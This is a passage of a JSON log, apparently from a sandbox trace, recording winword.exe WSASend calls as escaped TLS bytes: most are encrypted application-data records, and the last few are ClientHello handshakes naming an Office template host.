  651. {
  652. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010$`\\xa6\\xc7iq9\\xb8^3\\xa6\\xfd\\x05g\\x9a\\x1f\\x06b\\xa2s\\xd2\\xba\\x00\\xed9\\x18c\\xff\\xb3\\xa6\\x03\\xc1(\\x17y\\xe0\\x1d\\x1b\\x96\\xde\\xca\\xbc\\x11poj\\xa7\\xc1s8\\xfa8\\x13\\xd0bnim\\x94\\x9a~q\\xd6p\\x06\\x02\\xf0\\xba5\\xb8\\x02fyp|\\xaeno\\xb6\\xcf\\x12\\xcd\\x17\\xaf$k\n\\xc4\\xce`\\xdf+\\xe1\\x05d\\xa0\\xe0;8h3b\\xff\\x8e\\x8ax\\xf06\\x933\\xc5\\xe7\\xd7\\xbd \\xc3\\xachd\t<*\\xb22\\x05\\x13\\xf5w\\x8e\\xd5\\xae\\xe1\\xf6\\x7f\\x0fx\\xfa$i\\xeaabs\\xbb:\\x18\\xb6\\xd7\\xb16\\x7f\\xab\\xba\\xfciw\\\\xdc\\xa0\\xd0\\x85yx\\x17\\xa2\\x04f\\xba\\xc1\\x15\\xa4\\xa8\\x14\\x9f\\x94\\x00\\xd8{\\x1a\\xda$\\xed\\xea\\xf9w\\xda\\x1ba\\xa8`\\xf7\\xc4u#\\xee8x\\x0c_\\x12\\xfe_\\x10\\x01\\xae\\x1e+\\x13\\xe7m\\xf7\\xcc\\xa5\\x07!\\x16\rg\\x9al\\xc2\\xbc\"m\\x88\\xe3\\xe8\"k\\xab7p\\x9df\\xa5\\x05\\xbf\t\\xdd&y\\xe1\\x07\\x1b&w\\x9e\\x93:\\x16\\xda"
  653. },
  654. {
  655. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010u\\x10\\x11\\xf9z<\\xac\\xb5\\xa9\\xc8k\\xd7\\x1f1\\xaa\\xa9\\xda\\x97a\\x99\\x9cm\\x8c\"\\xeb\\x1a\\xdc%\\xcf2\\x10\tb\\x95\\xfc\\xaa\\xfac|\\x91\\xf3\t\\xec\\xd9^/\\xe4\\xeb\\xf6\\x84#(\\xcc\\xb9\\xc1\\xb94\r\\xc0en\\x0bv\\x88\\x05\\x15\\x11\\xf8\\xea6\\x957\\x82liu\\x19\\xa3\\x01=\\x83j\\xba.\\xa7\\x8fh\\x94\\xa6k\\xbd\\xb1\\xa1|>j\\xdb\\xe8f\\x8a\\xad\\x19\\xb5e\r\\x0e\\x0eq\\xa1t\\x1e\\xf0?[\"\\x14\\x8b\\xa1~\\xea\\x89\\xd1l.\\xd9?\\x8b\\xb5\\x1b\\x04\\x1e\\x8f\\x9b\\xabc\\xaa\\x00\\xde3\\xfd[y\\xdd\\x85p;d\\xe1\\x1e\\x91m\\xa5\\x02\\x16\\x0fc\\xc8(e\\xb5\\xcd\\xc9k\\x91x9\\x98\\xe7^\\xd5\\\\xba\\xf9g\\xb5l\\xbc`\\xa6\\xebn\\x00\\x9e\\x9e\\x13cz\\xa1)\\xa9v\\x10\\xdd\\xf6\\xb6\\xd7\\xa0\\x99t\\xf0\\x9efzf\\xcc\\xd5{\\xec\\xf8blx\\x9at\\xaa\\xf6\\xe3\\x03\\xe6r\\x14\\xb9\\xa3\\xd8c\\xc1\\x9c\\xe2p\\x9f\\xf3n\\x9f\\x8d$o\\xab\\xe0\\x97\\xa3\\x16\\x83k\\xe9m\\xa5\\x12\\x80\\,\\xd1"
  656. },
  657. {
  658. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xe8\\xa3\\xd5b\\xa1\\xe8\\x01n\\x0c\\xe4\\x7f\\x84\\x10t\\xd5>\\xf4\\xfe\\x00g\\\\x1b\\x8e\\xb34]\\x9az\\x83\\xebl\\xfc\\xc9\\xf9\\x82\\x9c#\\x8d\\x06cen |sc>\\xae3\\xf9nv\\xd8r\\xa2\\xbd6\\xa25\\x1d4\\x11\\x1e\\xd9\\xf5\\xe2>\\x0f\\xafk\\xb7\\x1cs\\xce\\xc3.\\x95c\\xf1\\xbc\\xc4y\\x87\\x88\\x15\\xaa\\xff\\xe3\\xd9\\x1d\\xabd\ti~e\n\\xf4\\xbd\\xb5\\xad\\x18\\xaaw\\xea\\xca\\xe8\\xc2bzr\\x1d\\xb8gf\n\\xfao\\x0fm0\\x0e$\\xdf\\x00\\xd2\\xc2a\\xd8f\\xa6\\x89\\xd1\\xb5\\xfa\\xa5\\x7f-\\xe9!d/\\xbcc\\xd7\\xd3\\xb6c\\xe6\\xbe\\xe8\\xe9\\xe9\\xa6\\xe1n\\x94\\x1bv\\x03{1x\\x82\\xd4yqq\\xd0\\xe0pt\\x9d9j\\xac\"v\\x93\\x87\\xee,\\xf9\\xe2\\xdd\\xc2b\\xf5fhy3al\\xa7\\xe8j0@\\x8dc\\x02\\xf8\\x03\\xe8\\xc7\\xaec\\xa8\\xe4\\x15o,\\x0f\\xd4\\x9f\\x83\\xff\\x04\\x1c\\x90\\x88\\xc1\\xb7\\x8c\\x17<\\xa3\\xdezt\\x92\\xd0\\xf8gr\\x08\\x04\\x07>-\\x94\\xbe4\\x9d\\xff\\xc65\\xe9k\\x7f"
  659. },
  660. {
  661. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x8eqk\\xfc0\\x90\\xe7)\\x01\\xa3\\xc9\\x8b\\xac\\xb1^\\x9b\\xd2\\xceq\\xae\\xd4\\xbbb\\xab\\xe7\\xf8\\xe7\\xa6\\xd3\\x80\\x90\\x1b\\xe3\\xb5sg\\x03\\xd77]p\\xfct\\xbc'\\xc4\\xfd$\\x03p\\xb9\\x16\\x1d\\x8e>\\xc0j~\\x80o52\\xda.\\xfa?\\xd5wg\\xdfaj\\xa1t\\x17t\\x1c\\xb9_\\x868\\x13\\xb2\\xb22\\x8bu\\x0cm}\\xb4\\x98\\xaar\\xc7e\\x02\\x05\\xa7\\xea\\xd6\\xb7\\xba\\xdfhh\\xdf\\xfb\\xdc\\x89\\xa9\\x000\\x93^\r\\xb2smbf\\xff(<\\xc2i\\xd8\\xfdmp\\xd6\\xfcq\\xf2\\xab\\xab\\xe5y\\x7fb\\xb5\\xe6$\\xbb\\x92y#u\\xb1\\x14\\x8f2p\\xf8\\xd4.\\x95\\xaa\\xd2\\xd7g\\x03\t\\x82b\\x1a{\\xff\\x05<\\xc2c\\xc88>\\xa0\\x16\\x1f\\x80\\xcb\\x00\\xa1\\xf3\\xab$\\x87\\x02\\x9d\\x9a\\xd7\\x90\\x16\\x98\\x1d6^j\\x07\\x95\\x83\\x96\\xa7\\xfc\\x1cl\\xeb\\x13\\xce\\x9c\\xcf\\xed]\\xbbj%\\xc8\\xe5\\xa8\\x83\\x97\\x13\\xd6lr\\xd4*\\x93e\\x1e\\x98\\x06\\x17\\x04\r\\xf2$\\x9abk\\x0e\\xb1\\x8d\\x8cs=_\\xc95\\xf4\\x17\\x01"
  662. },
  663. {
  664. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x0109\\x05}=\\xd4\\xa7\\xc3;`\\x1b\\x9a\\x1f`(|ec\\xcc\\x94i\\x02\\x88d\\xef3\\xbb\\x04\\x83\\xa9\rz\\x8a\\xc1\\xbeu\\x94\\x0b_\\xb8;\\x1dj\\xed\\xaf\\xc9^5&\\x95\\x06\\xc2\\xaf>t\\xe99\\xc6f\\x84|y\\xfdy\\xef\\x1e=\\xa9_ae\\x1e\rz\\x85\\x91\\xdffb\\x12q\\xadu\\xea\\xed\\xac\\xf2\\x7f\\xe0\\x953yt\\x0e?\\xde\\xd5{/fv\\xd6\\xf4\r\\xc7\\xe9\\xb38\\x86\\xd56\\xec\\xce\\x02m(_,\\x19b\\x02\\xc3.tv]\\xe9\\xa2\\xc1\\x7f\\xce?\\xb0\\xf4\\x81<\\xaa\\x7f\\xa0i_\\xd5\\xce\\x1d\\x0c\\xe7$\\xba\\xda\\x00\\xdd\\xe4\\xf2\\x15e9\\xd6s\\xc3\\x8c\\xac\\x1e\\x7fs2\\xdc\\x13\\xc0\\xb8\t\\xe7j\\xfdb\\xdb\\x1e\\xb9~\\xfd\\x98\\xb1\\xc7ky\\xf19\\xfca4\\x01\\xc71\\xe4\\xf4\\x04\\x11\\x0f\\xe2z\\xda\\xd7_n\\xc5x\\x1d\\x18\\x87\\x10\\x0cct\\xfei\\x7f\\x1e@d)\\xb8c\\xa0n\\x9d\\xa8\\xfdj5lb?\\xa9vl\\x07\\xbd\\xb5\\x1e|\\xd5\\xefy\\xff\\xa6hl\\xe16dv\\x16\\xfb"
  665. },
  666. {
  667. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xc9\\xb8\\xe0on\\x1a\\xfa\\xa5\\xf4\\xb6\t\\xf2t=\\xf3x1\\xa6\\x9f\\x88%\\x92\\xdb(\\x13\\xd5\\xa8\\xf2:\\x86\\\\xec\\x05\\xf0d\\xf2\\xe4c\\xa7\\xe7\\xddmr\\xb7\\xd9\\xf4nk\\xcf\\x1e\\xaa\\xca\\x00bn\\xdc.\\x05i\\xc6\\xba\\xf6\\xbd2>\\xc7\\xcdj\\xab\\xd8+gs\\xfcj\\xed\\xf5\\xd1\\xae\\x18\\xc6\\xddb*\\x8fq\\xcb\\x81\\xddc)\\xf4'\\xe6\\x7f\\x1b\\x97\\xdb\\x86\\xc9z\\x92\\x9e\\xde\\xad\\xa2,\\x90\\x1b\\x9ep\\x92\\xcc\\xa6q\\xde\\xed\\x15\\x01\\x86{\\xd7\\xf6\\x06{\\xa9v\\xc1z7:\\xc1\\x13iz\\x08\\x07\\xf0\\x8f\\xd7.\\xcf\\xdc\\x1c\\xaexw\\x1cd@g\\xd6n\\xa9\\xe03\\x8b\\x0b1\\x15?|\\x00\\xed.c\\x1d\\x1f\\x1f\\x7fvt\\xa7\\xe8\\x8a\\xc4y\\xa1-\\xe0\\xae\\x08x\\xe2\\x02\\x8a\\xc5\\x17\\xe74\\xd3\\xe0>\\xd3\\xbe\\xcc-\\x9abd=\\xd4\\xd6\\xbdg\\x97\\xb0k\\xaem\\xde\\xad\\x8c\\xb1\\x95q\\x17\\xa6\\xbb\\xf9#\\xa7<\\xc22\\xa1.\\xf8p\\xe0\\x84\\xef\\xef>\\xb5\\x9b\\x01?\\x12\\x90\"\\xda\\x06\\xd4k\\x96' y\\xfc<"
  668. },
  669. {
  670. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x87\\xb5\\xcc|\\xf2\t=(\\x02\\xbeg\\xcbq\\xfd\\xb1<\\xc8\\x03\\x1b\\xc3:\\xd7\\xb6\\x11\\x1f\\x98\\xc8\\x00l4h\\xd77\\xab<g\\xc2&\\xc7d\\x1f\\xb1\\xb6\\x94+\\xc99\\xda\\xaa\\x8b\\xcb\\xc4\\xa2\\xbb8z\\x86\\xf1\\xc86!!\\xf1\\x9a\\xf8\\x1f\t\\xb7g\\xa2\\x9b\\xa9\\xb7\\xd3n\\xe2\\x12\\xd1i\\\\xd3\\xff\\xb8:\\x11\\xff1\\x00\\xae\\xbb\\xf57\\xd9x\\x0bs\\xf0p\\xad3\\xab\\x1a.\\xac\\x16\\xb0\\xf7\\xb3m\\x87\\x0f8\\xf4\\x8d\\xdf|\\x8d\\xc6c\\x90lq\\x98\\xa9\\x04\\xfew\\xeb\\xe1\\x9es\\xde\\xc60\\x10k\\xcf\\xedw\\x11\\\\xc5\\x8c\\x9c\\xba\\x96\\x14^w|y\\xa4\\x15az\\xb7\\xc5\\xbep\\x10t\\xde\\xed\\xde\\xa4\\x81u|qi\\xa7\\x1dl\\x98\\xb6\\xf5n\\xc8\\xb2?\\x1b\\x8di\\xba\\x9a'\\x11g\\xae2\\xef2t\\xf6\\x05\r\\xdc\\x94\\xc1\\x1f\\x84re\\xa5\\xaav=j\\xef\\xd4\\xf8\\xd1\\x93\\x8e\\xb7c\\xa5\\\\xda\\xa8\\x88\\x83\\x06\\x81@w^\\x03\\xf6\\xf1\\x8b!rr\\x95&\\xd02\\xb1\\xb74v\\xd2o\\xd5\\xf0\\xc9\\xa2\\x97tc"
  671. },
  672. {
  673. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010k+}@\\xb02\\x08p\\xb9b\\xa0\\xbd\\x8f\\x0e\\xac\\xb5\\xc1o\r3\\xecn\\x84\\xafw\\xc18\\xcd\\xfdw\\x87\\xcb3&\\xad\\\\x07e\\x12\\xd7\\x17\\xcc\\xa71s?\\xb8\\x01|\\xebd\\xf2^\\x8e\\xa5\\x0f\n \\x10\\x86w\\xe1\\xd1\\x80\\x9d\\x80w\\x9b\\xe4`\\x7fo\\x8e\\x16\\x1d_o\\xd9\\xa4{y\\xee\\xb1\\xefwm\\xa3\\x84\\xc7)\\x02~\\x0e\\xea@f\\xb4.ym\\xcdr\\xce\\xd9\\xcf\\xc2\\x12pt\\xa5/\\xda\\x1d\\x93\\xe2\\x9f\\xe8)\\xd5\\xeae\\xd9\\xfa\\x96\\x83\\x1c\\x9b0\\x92\\x19\\x8c1\\x99h\\x8f#l#\\x9f\\xack\\xea\\xc6\\x02\\xa8\\xc37\\x86\\xb1y\\xf1,_\\xbb\\xeam'\\xcd\\xa4y%z=\\x83\\x9e>\\xba\\x02g\\x93\\xa4\\xc1\\xc0mt\\x8bh\\xd2x\\xca\nln\\xcah\\x0e\\xfb,\\xf5\\xd5\\x93\\x9a\\xa7\\xa6\\x8ak\\xf7/\\xdd\\x18\\xa9\\xb2\\xc0\\x97\\xab\\xbc{\\xf5\\xc5\\x88\\x8a\\xc9\\x9cg=3\\xc7!\\xa3\\xefg\\xf8\\xab\\x8d\\xc2}r\\x1a\"/>\\xef\\x99'p\\xdc\\x9d?~\\x1b\\x04\\xd6\\xea\\x01\\x1a`\\x8c\\x12\\xc6\\xd0\t"
  674. },
  675. {
  676. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xaaj\\x1a\\xda\\x05\\xb7\\xbc\\xfbz\\xb8\\x98\\xeb/4\\xff\\x8b\\xaf\\xa4w\\xdb\\x82ny\\x0fr(\\xae\\xbblv\\x00\\xc4\\xe5\\xf6\\xfa}|mv\\xc6\\xc2l7\\x0c!r\\xd1\\x9a\\xffn\\xa7\\x7f{7\\x91:\\xc8\\xf2\\xac\\xa6f\\xd1+\\x82\\xf6\\x13\\xe3(\\xf2<\\xf4\\x01]\\xbe\\xbby\\x9d\\x814\\xb0\\xc0d\\xac\\xd8\\xfa\\xf3@\\x97=\\xad\\xf9\\x9f\\xf6&\\x10e\\x8ap\\xef)\\xf9a\\xa6\\xdf\\x1c\\x07\\xd5\\xc7\\x9e\\xb3o\\xb8w\n\\x10\\x91uo>\\xd9\\xba\\x93s\\xa76@'`\\xbckz\\x97\\xe57xg\\x0e\\x00d)7k\\xa0ij\\xf3\\xc2\\xcd\\x96\\xb1\\xb4\\xbb\\xb5\\xa8\\x98\\xe0\\xd5\\xeb\\xf6\\x04\\xe6v\\xb4\\xde\\xc8]\\xac\\xce\\x9b\\x96\\xd4\\xad:\\xfe\\xc2'#\\xf8\\xb2\\xc9\\x8b\\xf4\\xd8\\xcae\\xee\\xd4\\xe52\\x18@\\xf0\\x9c\\x05\\xb8\\xb6\\x04{\\xc58qn\\xcc\\xcb~c\\xb2.:|\\xa5s;\\xfe\\xec\\x8e\\%l\t\\x19\\xbf\\x9fz2\\xf3n`\\xb9f\\xcb\\xb9\\x98\\xf2gq\\xbe\\xe4.1\\xeb\\xa2\\xb2\\xe0\\xed\\xdaj\\xe8\\x01\\x97c"
  677. },
  678. {
  679. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010=\\x842n\\xce\\x91yh\\xbe\\xfay\\x05\\xa5)\\xdb\\x1e\\xd6k\\xb6<z\\x0e\\x9e$\\x98e\\x0e8\\xfa\\\\xa6\\xde\\xccv\\x0ct(8x\\xb4\\x11o$\\xf3\r\\x87\n\\xda)\\x1bg;\\xb4\\x93ak]\\x93d\\xf0\\xc7\\xf8\\xb9~o5\\x07\\x86\\xae\\xed\\x92&\\x96\\xcak\\x90n%\\x00\\xea\\x9e\\xf3\\xc4\\xd4\\xe2k\\x91oyqqq\\x8d\\xedo\\xcc:f\\x0c\\xf1\\x95~\"u\\xdc\\xf5biu\\xb5\\xc4\\xd6\"i\\xc6\\xcfz\\xa6jm9\\x98\\\\xaeew>\\x0e$j\\x11\\xee\n\\xcb\\xf6t\\x03\\xe7\\xa8f\\x9f\\x8f;f\\xba\\xb4/*\\xe2(\\x9d\\xbc%\\xb2y\\xa3_.^\\x19\\xe6\\xaf\\x97\\xdb\\x00\\xb8\\xeb\\x88\\xe0\\xc9:v5\\x05\\x1f\t%\\xd9\\xe1\\xe5}g$\\xb3\\xe4\\xf8\\x85\\xa9\\xe6\\xb2`\\x0e\\xaa\\xb7\\x06\\xe17\\x90\\xd8yz\\x1bv\\x19|\\x7f\\x16\\x0e\\x1d\\xe6?\\xd7\\x03\\xf6\\x94k\\xde\\xbb\\xb8\\xe0m\\x90`\\x10\\x07\\x92\\xe7\\x89\\xde\\x95f\\xf8\\xc07\\xb6\\xb0\\x87?\\xd6\\x1b\\\\xbbl\\xd5\n\\xd7=3%\\x92o"
  680. },
  681. {
  682. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010b3\\xd5\\x17su\\xae\\xde\\x9d\\x96\\x8a\\xef\\xa4\\xdb\\xb7\\xb2\\xbc\\x80\\xa8\r\\x1f\\x10\\x8b\\xb3y\tt\\x1f\\xff\\x9c\\xbc\\xd2\\xcd\\x92r\\x97\\xca\\x07\\xd3$\\x0bg\\x9c\\xbd\\xc8\\x81\\xb4\\xea\\x1b\\xe5@\\xc4:e-f\\x98\\xfckz+\\x0b\\x11\\xea\\x89,z=v\\xa8\\xb9\\x1c`m\\x1d\\xc8s\\x80\\xe7i\\xbf\\xc7`\\x83\\xa2d\\xfc\\x11\\xc5g\\xac/\\x80\\x01a\n\\xf47\\xf9\\xd1\\x11\\x97[v|\\xa3\\xe9\\x83xt\\x1ad\\xcf\\x86\\x9a\\xf7?/\\xb5f\\xb3\\x8d\\xf4\\xb6\\x99\\xf5\\x93&\\x94l\\x1d\\xd3|\\xe4hw%\\x15\\x91{3\\x1e\\xcde\\xe1\\x1a\\x08\\xb5\\x95v\\x81\\xd2\\xab\\xb0wg3\\xb7\\xd1i\\x04}\\xd8,\\xe1\\xa3\\xd2/$\\xe2i\\x890\\xa9ezi\\x14na\\xcagjx\\xc7b\\x1az\\xdd\r-\\xa1\\xc2o\\xe7\\xc6\\xc89#l\\xe4\\x8d\ro\\x9b\\x80<\\x8b\\xe5\\xb5\\xd4\\x13\\xd1<!\\x8e\\x03a\\x9ef+\\xa4\\x9f\\x19e\\x10yxb-q\\x93f1\\xef/\\xae\\xd5de\\xc6\\x96\\x13\\x9b{l\\x01\\x97z\\xd82"
  683. },
  684. {
  685. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xc3\\xd8a\\xd4\\xee\\xd4pug\\x1a\\xb8p\\x1f\\xed\\xdb{qk\\x06\\x1eas\\x01\\xa6\\xfa\\x9e\\xa95\\x88\\x06\\xe9\\xc5\\\\x94-q\\x8c\\xfe\\xc3\\x8a\\x83x\\x87\\xde\\xd8\\xc9\\x8f\\xa8cc^\\xba\\x10\\xa8\\x7f\\x9a\\x95\\xe4i^t\\xc0\\xe2~e1\\x98t%z\\x9f]\\xb9\"\\xb3x*o\\xe6\\x84\\xf2\\x95)\\x14\\xe5\\x8e\\x9f#\r\\x8f\\xcc/v\\xa6\\x9a\\xb9?y\\xea\\xb4m\\x1e\\x86\\x88(\\x00\\xd2x\\xd0\\x1bj}\\x8d\\xb9}9vj\\xc7\\xc7p\\xe9\\xf7\\x95ud/\\xdf]\\xab?\\x05\\xec\\x98\\xa6\\x8c\\xb4\\xa4\\xad\\xfak\\xc2\\xd2\\x9964`\\x05\\xf1<q1\\x91\\x8dz\\x15n\\x93'`1\\x820k\\x89b\\x83\\xc60\t\\xc6p\\xd0\\x1b5\\x8c\\xf7kw\\x11\\x89h\rr\\x10u\\x86p\\x96\\xdc\\x81\\x13\\x0c\\x0c\\x99\\xe1\\xa8f\\xdcfb\\x94\\x7fb\\x17\\xdb9f\\xba\\x0br\\x9c\\xd9\\xa5\\xa9\\xdd\\xb9jae\\x17.>6\\x06\\x83\\xac\\x0b\\x8d\\x12z\\x9a\\xbc^\\xfd{\\x1d\\xfe\\x98\\xbf\\xab\\xd6\\xf9\\xeav6\\xa2_\\xf4\\xfej"
  686. },
  687. {
  688. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x0107p\\xcci\\xf70xt+\\x96%\\xe3\\xce\\xa4!.\\x87& \\x0f\\xf2\\xb4\\xa2\\x9f\\xa8\\xb3\\xb2\\xcdm\\xb1\"\\xfa\\x7f\\xa3)\\x95\\x16\\xbc\\xad\\x00\\x97$\\xf3\\xbc\\xa7\\xad\\x13\\xff\\xd0\\xf4\\x99\\xa6\\x1fq{/\\xc1\\xde\\xee\\xe4\\x03i{\ni7mw\\xa7\\x8a\\xa3\\x8e\\x979\\x00\\xf6\\x9e\\xe1\\x19>\\xb6\\xa2b\\x1dp\\xfc\\x1c\\xd4\t8\\xfb\\x06\\xbdcxr\\xbf\\x8a\\xe2\\x1b\\xd8\\xa78\\x01\\x84z\\x88l\\xbb\\x80\\xf2o\\xeb\\x8c3\\xf8z/_o\\xe6\\xa8w\\x0c^p4\\x0f\\xb5\rv\\xbb\"/\\x98\\xab\\x07\\x1f\\xa00\\xc1\\x00tj/\\xfb\\xa7\\x12)\\x185\\xc5?\\x1c>\\x82:\\xd5)\\xdf\\xbd\ng\\xc0\\x91\\xbc\\x99\\xd6\\xc7\\x86\\xb9\\xdem#j\\x9a7\\xc4e\\x07|\\xe3b\\x07p\\xff\\xd6\\x814(\\xe6\\xff-\\xfd\\xc3&\\xa7\\x86~\\x1b\\xea\\xd6\\x04\\x84m\\x02\\xf1\\xb5\\x8c\\xec\\x18\\xbc\\xe9\\xd0g\\xd3\\xca$\\xd1\\xcbat\\x9d\\xbd\\x1adc\\x07\\x95\\xae\\x97\\x96z\\x0f\\xdab\\xf3\\xd1v\\x99\\x9d\\xac\\x06\\x114b\\x13\\x15\\x17\\xca\\x89"
  689. },
  690. {
  691. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010-\\x06yo\\x049d4\r\\xcc\\xcc\\xbb?\\xbf\\xc0\\xcbc\\xca\\xf2\\x86\\xac\\xa5\\xc9\\x1e\\x86\\xbbkr\\xd1\\xa2?\\x14\\x86\\x892$ge#\\x91s0?\\x0c\\x9b\\xf6<gm\\xe0\\x9e~\\xd7zv\\xa4\\xd8\\x0e]\\xd4\\x16\\xe7h\\xb2\\xbb\\x04\\xbb\\xab!\\xe0\\xbd\\x1a#*n\\xda\\x10\\xc5\\xf2\\x19\\x14\\xadv\\x04\\xfb\\xbe\\x80\\x19\\x10\\xf5\\xf2&7\\x0c\\xbb\\xb5tz\\x1b\\x1a\\xe5ig\\x85ep\\x81i\\x92\\xb5\\xd0\\x9c\\x93\t\\xa7\\xd7\\xede\\xf1\\x11\\xec\\xd7csc?\\xd8)\\x90\\xdekkl\\x97d\\x19\\xd7\\xda\\xa9\\xe70\\xda\\xba\\xaf\\xa7\\x89\\x14j\\x13#cd\\x88kd\\xa4dni\"s\\xdaa(\\xee*\\xa6\\x813\\x03z\\x17&\\xed\\xe3\\xd2\\xa1a\\xcd_\\xaf\\xcb~\\xa0\\xfbs\\xd7\\x85\\x19\\xf2\\xc6\\x10\\xb345\\x17<;\\xf6,g\\xcdn\\xdf\\x85\\xc0\\xd5[\\xb7\\xd3\\x86i8;)\\xb1=\\x80\\xb1@\\xa9\\xcb\\xc5\\xba!oxy%\\x17\\xcb\\x9de\\xe82\\xfa\\xda\\xa5\\xf2\\x9a\\xa6r\\xab\\xa5\\xd3\\x92k\\xe5\\xee\t\\x8e"
  692. },
  693. {
  694. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x0102r\\x0c\\xed\\x8d\\xc7\\xde\\x0f\\x03[\\x95x\\x05|\\x98\\xf0\\xa1q\\x84\\x99p\\xae\\x03\\xff\\x81m\\xd8#\\xa32\\x980\\xf5\\xee\\x15k,\\xd9pn\\xf0&&w\\x05\\xd3\\xccfz\\x95l\\xba\\xb9\\x97$w\\xbb\to89\\x83*$\\xa2\\x8f\\xf0\\xaf6\\xe1~\\xeb\\xb9\\xa3\\x8f\\xe7\\xda\\xa0[ofx\\xfe\\x19\\xd2\\x87\\x06c\\xe4\\x01p.\\xd5{\\x1f\\xd5\\xaf\\xf2\\x92\\xa9\\x19*\\x91\\xee\\xa84e\\xf2y\\x89!\\x99l~\\xec\\xd6\\xb2\\x82v\\x00\\x10\\x0b87\\xacy\\x14&\\xfd\\x1e>l_9hc\\x81\\xaa\\x9f\\xb0\\x1b\\xc3\\x15\\xb9\\x00\\xc2g\\x1f\\xd5\\xe7d\\xcarage\\xb8n\\x1a\\x06?\\xf9\\xe5\\xc5\\xd5b\\xe6ut*\\xc5\\xdb\\x04c\\xf8a\\x15>h\\xbcio\\xda4\\xcf\\xb0_\\x83ow}\\xf1<5\\x95\\xe0kn\\xbe\\x01z\\xc0\\x94_3\\x1e\\x8eio\\xd7yg\\xb0\\xde\\x83\\xa7\\xb9x\\xb2!\\x9d \\xcak\\xc3\rc\\xbb\\x02\\x07{|\\xe5\\x88\\x05\\x00\\xa1\\x7f\\xcc9\\xf9w\\xef\\xed\\x0b\\xb8j\\xa0\\x84\\xf3e"
  695. },
  696. {
  697. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\x9c\\xed3\\xaa~\\xe5c\\x14\\x0e\\x10s\\xb5\\x0e\\xa2\\x08+\\xffqe\\xa0\\x1a#\\x85k\\xe1\\xd4)\\xc6z^\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  698. },
  699. {
  700. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\x9c\\xed\\xdc\\x02\\xc4\\x9e\\x16}jis9\\xafa\\x8b\\x88f'h\\xb9\\xe7p\\xa42\\xdfo+\\xd1\\xe8\\xe8\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  701. },
  702. {
  703. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\x9c\\xed\\x9a\\xd2\\xd5?\\x01\\xce\\xc7\\x9f\\x08\\xbfd\\x88\\xd1\\xf8a\\x8d\"\\x01d\\xfb/>\\xc8\\x83\\xa4\\x0b\\x0f\\x8f\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  704. },
  705. {
  706. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\x9c\\xed\\x96]\\xa6c\\xceb\\xa5-\\xba\\xef\\x88x\\xeec\\x1d\\xa7\\xe5`\\xa5<\\xcb\n\\x7f\\xad\\xe3\\xd5;\\xe1\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  707. },
  708. {
  709. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x0b\\x9c\\xed*^'\\xdaco\\xe2l\\xd8\\x93d#0\\x08\\x9f\\xd3\\x89&~\\xf7u\\x83\\xcd\\xb2>\\x81\\xc7\\xf9\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  710. },
  711. {
